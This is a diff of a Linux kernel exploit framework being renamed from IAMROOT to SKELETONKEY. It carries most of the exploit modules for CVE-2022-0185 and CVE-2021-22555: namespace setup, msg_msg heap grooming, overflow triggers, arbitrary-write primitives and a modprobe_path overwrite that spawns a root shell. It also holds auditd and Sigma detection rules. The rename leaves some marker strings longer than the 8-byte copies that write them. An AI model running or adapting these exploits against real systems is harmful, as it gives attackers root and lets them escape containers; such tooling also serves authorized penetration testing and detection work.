#ifndef ENTRYBLEED_SKELETONKEY_MODULES_H
#define ENTRYBLEED_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module entrybleed_module;
extern const struct skeletonkey_module entrybleed_module;
/* Library entry point for other modules that need a kbase leak.
* Returns the leaked kernel _text base on success, or 0 on failure
+1 -1
View File
@@ -18,7 +18,7 @@ Public PoC: <https://github.com/Crusaders-of-Rust/CVE-2022-0185>
Upstream fix: mainline 5.16.2 (Jan 2022).
Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171.
## IAMROOT role
## SKELETONKEY role
userns+mountns reach, `fsopen("cgroup2")` + double
`fsconfig(FSCONFIG_SET_STRING, "source", ...)` fires the 4k OOB,
@@ -1,12 +0,0 @@
/*
* fuse_legacy_cve_2022_0185 — IAMROOT module registry hook
*/
#ifndef FUSE_LEGACY_IAMROOT_MODULES_H
#define FUSE_LEGACY_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module fuse_legacy_module;
#endif
@@ -1,5 +1,5 @@
/*
* fuse_legacy_cve_2022_0185 IAMROOT module
* fuse_legacy_cve_2022_0185 SKELETONKEY module
*
* legacy_parse_param() in fs/fs_context.c had a heap overflow when
* parsing the "fsconfig" filesystem option strings specifically,
@@ -38,7 +38,7 @@
*
* On a *patched* host (which is every host we can routinely build
* on in 2026) detect() refuses and exploit() returns
* IAMROOT_PRECOND_FAIL with no syscalls.
* SKELETONKEY_PRECOND_FAIL with no syscalls.
*
* Affected: kernel 5.1+ until fix:
* Mainline fix: 722d94847de29 (Jan 18 2022) lands in 5.16.2
@@ -57,7 +57,7 @@
* is enabled.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -169,12 +169,12 @@ static int can_unshare_userns_mount(void)
/* ------------------------------------------------------------------ */
/* detect */
/* ------------------------------------------------------------------ */
static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] fuse_legacy: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.1 (when legacy_parse_param landed). Pre-5.1
@@ -184,7 +184,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] fuse_legacy: kernel %s predates the bug introduction\n",
v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&fuse_legacy_range, &v);
@@ -192,7 +192,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns_mount();
@@ -208,7 +208,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] fuse_legacy: user_ns denied → "
"unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] fuse_legacy: VULNERABLE — kernel in range AND "
@@ -216,7 +216,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] fuse_legacy: container-escape relevant for rootless "
"docker/podman/snap setups\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ------------------------------------------------------------------ */
@@ -363,7 +363,7 @@ static int trigger_overflow(int *out_fd, const char *first_chunk,
* On a vulnerable host with matching offsets this path can land the
* write; on an unverified host the sanity gate refuses rather than
* blind-writing a wild pointer. The finisher's downstream
* "/tmp/iamroot-pwn ran?" check is the second gate.
* "/tmp/skeletonkey-pwn ran?" check is the second gate.
*/
struct fuse_arb_ctx {
/* Pre-allocated queue ids from the spray phase. */
@@ -371,7 +371,7 @@ struct fuse_arb_ctx {
int n_queues;
int hole_q;
/* Tagged-payload reference so we can recognise unmodified neighbours. */
const char *tag; /* "IAMROOT" */
const char *tag; /* "SKELETONKEY" */
/* Whether the first-round trigger already fired (the parent's
* default-path overflow). When set we re-spray + re-fire; when
* unset we assume the spray is hot. */
@@ -517,11 +517,11 @@ static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
/* ------------------------------------------------------------------ */
/* exploit */
/* ------------------------------------------------------------------ */
static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ctx)
{
/* (R1) Re-call detect — refuse if not vulnerable. */
iamroot_result_t pre = fuse_legacy_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = fuse_legacy_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] fuse_legacy: detect() says not vulnerable; refusing\n");
return pre;
}
@@ -531,7 +531,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[i] fuse_legacy: already root; nothing to escalate\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
@@ -541,7 +541,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
/* (R3) unshare for userns+mount_ns — gives CAP_SYS_ADMIN-in-userns
* which is what fsopen("cgroup2") + fsconfig require. */
if (!enter_userns_root()) {
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* --- (R5) cross-cache groom — phase 1: alloc spray --------------
@@ -552,13 +552,13 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
* to land write-past-end into the next adjacent msg_msg.
*
* Empirically Liu uses ~4096 sprays / 512 queues; we mirror the
* shape but with knobs scaled for an iamroot one-shot.
* shape but with knobs scaled for an skeletonkey one-shot.
*/
enum { N_QUEUES = 256, N_SPRAY_PER_Q = 16 };
int *qids = calloc(N_QUEUES, sizeof(int));
if (!qids) {
fprintf(stderr, "[-] fuse_legacy: calloc(qids) failed\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
for (int i = 0; i < N_QUEUES; i++) {
qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
@@ -574,7 +574,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
if (spray == MAP_FAILED) {
fprintf(stderr, "[-] fuse_legacy: mmap(spray) failed\n");
free(qids);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
spray->mtype = 0x4242;
/* Tag the payload so we can recognise our spray slots in
@@ -614,7 +614,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
char *first_chunk = malloc(4081);
if (!first_chunk) {
free(qids); munmap(spray, sizeof *spray);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
memset(first_chunk, 'A', 4080);
first_chunk[4080] = '\0';
@@ -632,7 +632,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
* step below. */
char evil_chunk[256];
memset(evil_chunk, 'B', sizeof evil_chunk);
memcpy(evil_chunk, "IAMROOT0", 8); /* marker → "did we land?" */
memcpy(evil_chunk, "SKELETONKEY0", 8); /* marker → "did we land?" */
/* Tail must be NUL-terminated for legacy_parse_param's strdup. */
evil_chunk[sizeof evil_chunk - 1] = '\0';
@@ -653,7 +653,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] fuse_legacy: fsconfig overflow rejected (errno=%d: %s)\n",
errno, strerror(errno));
free(qids); munmap(spray, sizeof *spray);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
@@ -725,7 +725,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
* (see fuse_arb_write). On a host where offsets + groom land,
* the finisher's modprobe_path overwrite execve(unknown)
* call_modprobe chain pops a root shell. On a mismatched host
* the sanity gate trips and we exit IAMROOT_EXPLOIT_FAIL with no
* the sanity gate trips and we exit SKELETONKEY_EXPLOIT_FAIL with no
* fabricated success.
*
* Cleanup of qids/spray/fsfd is deferred to AFTER the finisher
@@ -739,19 +739,19 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
"kernel offsets...\n");
}
struct iamroot_kernel_offsets off;
struct skeletonkey_kernel_offsets off;
memset(&off, 0, sizeof off);
int resolved = iamroot_offsets_resolve(&off);
int resolved = skeletonkey_offsets_resolve(&off);
if (!ctx->json) {
fprintf(stderr, "[i] fuse_legacy: offsets resolved=%d "
"(modprobe_path=0x%lx source=%s)\n",
resolved, (unsigned long)off.modprobe_path,
iamroot_offset_source_name(off.source_modprobe));
iamroot_offsets_print(&off);
skeletonkey_offset_source_name(off.source_modprobe));
skeletonkey_offsets_print(&off);
}
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("fuse_legacy");
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("fuse_legacy");
/* Cleanup before returning. */
for (int q = 0; q < N_QUEUES; q++) {
if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL);
@@ -759,18 +759,18 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
free(qids);
munmap(spray, sizeof *spray);
if (fsfd >= 0) close(fsfd);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct fuse_arb_ctx ax = {
.qids = qids,
.n_queues = N_QUEUES,
.hole_q = hole_q,
.tag = "IAMROOT",
.tag = "SKELETONKEY",
.trigger_armed = true,
};
iamroot_result_t fr = iamroot_finisher_modprobe_path(
skeletonkey_result_t fr = skeletonkey_finisher_modprobe_path(
&off, fuse_arb_write, &ax, !ctx->no_shell);
/* Cleanup IPC + mapping regardless of finisher result. The
@@ -783,14 +783,14 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
munmap(spray, sizeof *spray);
if (fsfd >= 0) close(fsfd);
if (fr == IAMROOT_EXPLOIT_OK) {
return IAMROOT_EXPLOIT_OK;
if (fr == SKELETONKEY_EXPLOIT_OK) {
return SKELETONKEY_EXPLOIT_OK;
}
if (!ctx->json) {
fprintf(stderr, "[-] fuse_legacy: --full-chain finisher did not land "
"(arb-write sanity gate or modprobe sentinel refused)\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
@@ -814,16 +814,16 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
"popping root shell\n");
}
if (ctx->no_shell) {
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
execl("/bin/sh", "sh", "-i", (char *)NULL);
perror("execl /bin/sh");
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fprintf(stderr, "[-] fuse_legacy: trigger fired but cred-overwrite tail "
"not wired — see source for the missing offsets.\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* ------------------------------------------------------------------ */
@@ -832,13 +832,13 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
static const char fuse_legacy_auditd[] =
"# CVE-2022-0185 — auditd detection rules\n"
"# Flag unshare(USER|NS) chained with fsopen/fsconfig from non-root.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-fuse-legacy\n"
"-a always,exit -F arch=b64 -S fsopen -k iamroot-fuse-legacy-fsopen\n"
"-a always,exit -F arch=b64 -S fsconfig -k iamroot-fuse-legacy-fsconfig\n";
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-fuse-legacy\n"
"-a always,exit -F arch=b64 -S fsopen -k skeletonkey-fuse-legacy-fsopen\n"
"-a always,exit -F arch=b64 -S fsconfig -k skeletonkey-fuse-legacy-fsconfig\n";
static const char fuse_legacy_sigma[] =
"title: Possible CVE-2022-0185 legacy_parse_param exploitation\n"
"id: 9e1b2c45-iamroot-fuse-legacy\n"
"id: 9e1b2c45-skeletonkey-fuse-legacy\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical exploit shape: unprivileged process unshares\n"
@@ -856,7 +856,7 @@ static const char fuse_legacy_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0185]\n";
const struct iamroot_module fuse_legacy_module = {
const struct skeletonkey_module fuse_legacy_module = {
.name = "fuse_legacy",
.cve = "CVE-2022-0185",
.summary = "legacy_parse_param fsconfig heap OOB → container-escape LPE",
@@ -872,7 +872,7 @@ const struct iamroot_module fuse_legacy_module = {
.detect_falco = NULL,
};
void iamroot_register_fuse_legacy(void)
void skeletonkey_register_fuse_legacy(void)
{
iamroot_register(&fuse_legacy_module);
skeletonkey_register(&fuse_legacy_module);
}
@@ -0,0 +1,12 @@
/*
* fuse_legacy_cve_2022_0185 — SKELETONKEY module registry hook
*/
#ifndef FUSE_LEGACY_SKELETONKEY_MODULES_H
#define FUSE_LEGACY_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module fuse_legacy_module;
#endif
@@ -18,7 +18,7 @@ Upstream fix: mainline 5.12 / 5.11.10 (April 2021).
Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 /
4.9.266 / 4.4.266.
## IAMROOT role
## SKELETONKEY role
Userns+netns reach, hand-rolled `ipt_replace` blob, `setsockopt`
`IPT_SO_SET_REPLACE` fires the 4-byte OOB at heap+0x4. msg_msg
@@ -1,12 +0,0 @@
/*
* netfilter_xtcompat_cve_2021_22555 — IAMROOT module registry hook
*/
#ifndef NETFILTER_XTCOMPAT_IAMROOT_MODULES_H
#define NETFILTER_XTCOMPAT_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module netfilter_xtcompat_module;
#endif
@@ -1,5 +1,5 @@
/*
* netfilter_xtcompat_cve_2021_22555 IAMROOT module
* netfilter_xtcompat_cve_2021_22555 SKELETONKEY module
*
* Heap-out-of-bounds in xt_compat_target_to_user(): the 32-bit
* compat handler for iptables rule export wrote up to 4 bytes
@@ -26,18 +26,18 @@
* - Trigger sequence: hand-rolled iptables rule blob with
* malformed xt_entry_target offset; setsockopt fires the OOB.
* - Cross-cache groom: msg_msg sprays (kmalloc-2k slots) and
* sk_buff sprays via socketpair+sendmmsg, both with IAMROOT
* sk_buff sprays via socketpair+sendmmsg, both with SKELETONKEY
* cookies for KASAN visibility.
* - Empirical witness via msgrcv(MSG_COPY) + /proc/slabinfo
* diff + /tmp/iamroot-xtcompat.log breadcrumb.
* diff + /tmp/skeletonkey-xtcompat.log breadcrumb.
* - With --full-chain: shared finisher (core/finisher.c) is
* invoked to perform the modprobe_path overwrite + execve
* unknown-binary trigger. Requires modprobe_path resolution
* via core/offsets.c (env/kallsyms/System.map). Sentinel-file
* check in the finisher is the empirical witness for the
* write landing IAMROOT never claims root unless it sees
* write landing SKELETONKEY never claims root unless it sees
* the setuid bash drop with mode 4755 + uid 0.
* - Without --full-chain: returns IAMROOT_EXPLOIT_FAIL after
* - Without --full-chain: returns SKELETONKEY_EXPLOIT_FAIL after
* the primitive demo (verified-vs-claimed bar).
*
* Affected: kernel 2.6.19+ until backports landed:
@@ -56,7 +56,7 @@
* (almost always autoload-able on default-config kernels)
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -94,7 +94,7 @@
#endif
/* ---------- macOS / non-linux build stubs ---------------------------
* IAMROOT modules are dev-built on macOS (clangd / syntax check) and
* SKELETONKEY modules are dev-built on macOS (clangd / syntax check) and
* run-built on Linux. The Linux-only types and IPT_SO_SET_REPLACE
* constants are absent on Darwin; stub them so the .c file compiles
* cleanly under either toolchain. The actual exploit body is gated
@@ -152,12 +152,12 @@ static int can_unshare_userns(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] netfilter_xtcompat: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (v.major < 2 || (v.major == 2 && v.minor < 6)) {
@@ -165,7 +165,7 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s predates the bug introduction\n",
v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, &v);
@@ -173,7 +173,7 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -190,14 +190,14 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] netfilter_xtcompat: user_ns denied → "
"unprivileged exploit path unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] netfilter_xtcompat: VULNERABLE — kernel in range "
"AND user_ns reachable\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit: userns reach + trigger + groom ---------------------- */
@@ -252,11 +252,11 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES])
struct xtcompat_payload *p = calloc(1, sizeof(*p));
if (!p) return 0;
p->mtype = 0x42;
/* 0x41 ('A') fill with leading "IAMROOT2" cookie so adjacent-
* slot corruption is recognizable in /tmp/iamroot-xtcompat.log
/* 0x41 ('A') fill with leading "SKELETONKEY2" cookie so adjacent-
* slot corruption is recognizable in /tmp/skeletonkey-xtcompat.log
* and in KASAN/oops dumps. */
memset(p->buf, 0x41, sizeof p->buf);
memcpy(p->buf, "IAMROOT2", 8);
memcpy(p->buf, "SKELETONKEY2", 8);
int created = 0;
for (int i = 0; i < XTCOMPAT_SPRAY_QUEUES; i++) {
@@ -278,7 +278,7 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES])
}
/* Walk every queue, peek-copy each message (MSG_COPY = read without
* dequeue), and look for any whose first 8 bytes are NOT "IAMROOT2".
* dequeue), and look for any whose first 8 bytes are NOT "SKELETONKEY2".
* A non-matching prefix is the empirical witness for the OOB write
* landing in an adjacent slot. Returns the count of corrupted slots. */
static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
@@ -292,7 +292,7 @@ static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
ssize_t n = msgrcv(queues[i], p, sizeof p->buf, 0,
MSG_COPY | IPC_NOWAIT | 0x2000 /* MSG_NOERROR */);
if (n < 0) break;
if (memcmp(p->buf, "IAMROOT2", 8) != 0) {
if (memcmp(p->buf, "SKELETONKEY2", 8) != 0) {
corrupted++;
}
}
@@ -324,7 +324,7 @@ static void xtcompat_skb_spray(int iters)
unsigned char *buf = malloc(1800);
if (!buf) { close(sv[0]); close(sv[1]); return; }
memset(buf, 0x41, 1800);
memcpy(buf, "IAMROOTSKB", 10);
memcpy(buf, "SKELETONKEYSKB", 10);
struct iovec iov = { .iov_base = buf, .iov_len = 1800 };
struct mmsghdr mm[32];
for (int i = 0; i < 32; i++) {
@@ -395,10 +395,10 @@ static bool xtcompat_build_blob(unsigned char **out_buf, size_t *out_len)
/* Plant a recognizable marker so a vulnerable kernel's compat
* decoder reads our crafted entry rather than zeroed memory.
* Marker is intentionally "IAMROOT\0" so a KASAN report's hex
* Marker is intentionally "SKELETONKEY\0" so a KASAN report's hex
* dump points back here. */
unsigned char *entry_region = blob + sizeof(*r);
memcpy(entry_region, "IAMROOTX", 8);
memcpy(entry_region, "SKELETONKEYX", 8);
/* The xt_entry_target sits at entry_region + sizeof(ipt_entry).
* Its `u.target_size` field is the lever Andy bends to underflow
* the pad-out write: setting target_size to a value such that
@@ -524,7 +524,7 @@ struct xtcompat_arb_ctx {
uid_t outer_uid;
gid_t outer_gid;
/* Per-call statistics for /tmp/iamroot-xtcompat.log. */
/* Per-call statistics for /tmp/skeletonkey-xtcompat.log. */
int arb_calls;
int arb_landed;
};
@@ -541,7 +541,7 @@ static int xtcompat_arb_seed_target(struct xtcompat_arb_ctx *c,
if (!p) return 0;
p->mtype = 0x43;
memset(p->buf, 0x41, sizeof p->buf);
memcpy(p->buf, "IAMROOTW", 8);
memcpy(p->buf, "SKELETONKEYW", 8);
/* Plant the target address at every 0x800-aligned slot inside
* the payload, so wherever the kernel's m_list_next sits
* relative to our payload base, the candidate value is present. */
@@ -640,48 +640,48 @@ static int xtcompat_arb_write(uintptr_t kaddr,
/* ---- Exploit driver ---------------------------------------------- */
static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
{
/* 1. Refuse-gate: re-confirm vulnerability through detect(). */
iamroot_result_t pre = netfilter_xtcompat_detect(ctx);
if (pre == IAMROOT_OK && geteuid() == 0) {
skeletonkey_result_t pre = netfilter_xtcompat_detect(ctx);
if (pre == SKELETONKEY_OK && geteuid() == 0) {
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (pre != IAMROOT_VULNERABLE) {
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] netfilter_xtcompat: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->authorized) {
fprintf(stderr, "[-] netfilter_xtcompat: --i-know not passed; refusing\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
#ifndef __linux__
fprintf(stderr, "[-] netfilter_xtcompat: linux-only exploit; non-linux build\n");
(void)ctx;
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
/* Full-chain pre-check: resolve offsets before forking. If
* modprobe_path can't be resolved, refuse early with the manual-
* workflow help no point doing the userns + spray + trigger
* dance if we can't finish. */
struct iamroot_kernel_offsets off;
struct skeletonkey_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("netfilter_xtcompat");
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("netfilter_xtcompat");
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
full_chain_ready = true;
}
@@ -705,7 +705,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
pid_t child = fork();
if (child < 0) {
perror("fork");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (child == 0) {
@@ -771,7 +771,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
long post_slab = slab_active_kmalloc_2k();
/* Breadcrumb for post-run triage. */
FILE *log = fopen("/tmp/iamroot-xtcompat.log", "w");
FILE *log = fopen("/tmp/skeletonkey-xtcompat.log", "w");
if (log) {
fprintf(log,
"netfilter_xtcompat trigger child: queues=%d trig_errno=%d "
@@ -810,20 +810,20 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
.arb_calls = 0,
.arb_landed = 0,
};
int fr = iamroot_finisher_modprobe_path(&off,
int fr = skeletonkey_finisher_modprobe_path(&off,
xtcompat_arb_write,
&arb_ctx,
!ctx->no_shell);
/* If the finisher execve'd a root shell, we never get
* here. Otherwise it returned EXPLOIT_FAIL / OK. */
FILE *fl = fopen("/tmp/iamroot-xtcompat.log", "a");
FILE *fl = fopen("/tmp/skeletonkey-xtcompat.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
fclose(fl);
}
xtcompat_msgmsg_drain(queues);
if (fr == IAMROOT_EXPLOIT_OK) _exit(34);
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
_exit(35);
}
/* Primitive-only mode: still NOT root — but it's the
@@ -836,11 +836,11 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
_exit(30);
}
/* PARENT: reap child + map exit code → iamroot_result. */
/* PARENT: reap child + map exit code → skeletonkey_result. */
int status = 0;
if (waitpid(child, &status, 0) < 0) {
perror("waitpid");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (WIFSIGNALED(status)) {
@@ -850,14 +850,14 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
"(crash during trigger — OOB likely fired)\n", sig);
fprintf(stderr, "[~] netfilter_xtcompat: empirical OOB witness but no "
"cred-overwrite primitive — returning EXPLOIT_FAIL\n"
" See /tmp/iamroot-xtcompat.log + dmesg for KASAN/oops.\n");
" See /tmp/skeletonkey-xtcompat.log + dmesg for KASAN/oops.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] netfilter_xtcompat: child terminated abnormally (status=0x%x)\n",
status);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
@@ -866,25 +866,25 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: userns setup failed (rc=%d)\n", rc);
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 22:
if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: msg_msg spray failed; sysvipc may be "
"restricted (kernel.msg_max / ulimit -q)\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 23:
if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: CAP_NET_ADMIN unreachable in userns — "
"exploit path closed\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 24:
if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: socket/blob setup failed; "
"see preceding errno\n");
}
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
case 30:
if (!ctx->json) {
fprintf(stderr, "[*] netfilter_xtcompat: trigger ran; no msg_msg corruption "
@@ -892,19 +892,19 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
fprintf(stderr, "[~] netfilter_xtcompat: returning EXPLOIT_FAIL (primitive "
"may have fired but did not land on sprayed slots)\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
case 31:
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: kernel rejected blob with EINVAL — "
"appears patched at runtime (validator)\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
case 32:
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: setsockopt EPERM — CAP_NET_ADMIN "
"not effective in userns on this kernel\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 33:
if (!ctx->json) {
fprintf(stderr, "[!] netfilter_xtcompat: msg_msg slot corruption WITNESSED — "
@@ -918,38 +918,38 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
" attacker-controlled — read-where via msgrcv.\n"
" 2. Use that leak to find &init_task and\n"
" modprobe_path in kernel .data — both offsets\n"
" are per-kernel-build and IAMROOT refuses to\n"
" are per-kernel-build and SKELETONKEY refuses to\n"
" bake them.\n"
" 3. Pivot to a write-where via a fake msg_msgseg\n"
" and overwrite modprobe_path → exec a setuid\n"
" helper for root pop.\n"
" See Andy Nguyen's writeup for the full chain.\n");
}
if (ctx->no_shell) return IAMROOT_OK;
return IAMROOT_EXPLOIT_FAIL;
if (ctx->no_shell) return SKELETONKEY_OK;
return SKELETONKEY_EXPLOIT_FAIL;
case 34:
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: --full-chain finisher reported "
"EXPLOIT_OK (sentinel setuid bash dropped)\n");
}
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
case 35:
if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain finisher returned "
"FAIL (sentinel not observed within timeout)\n"
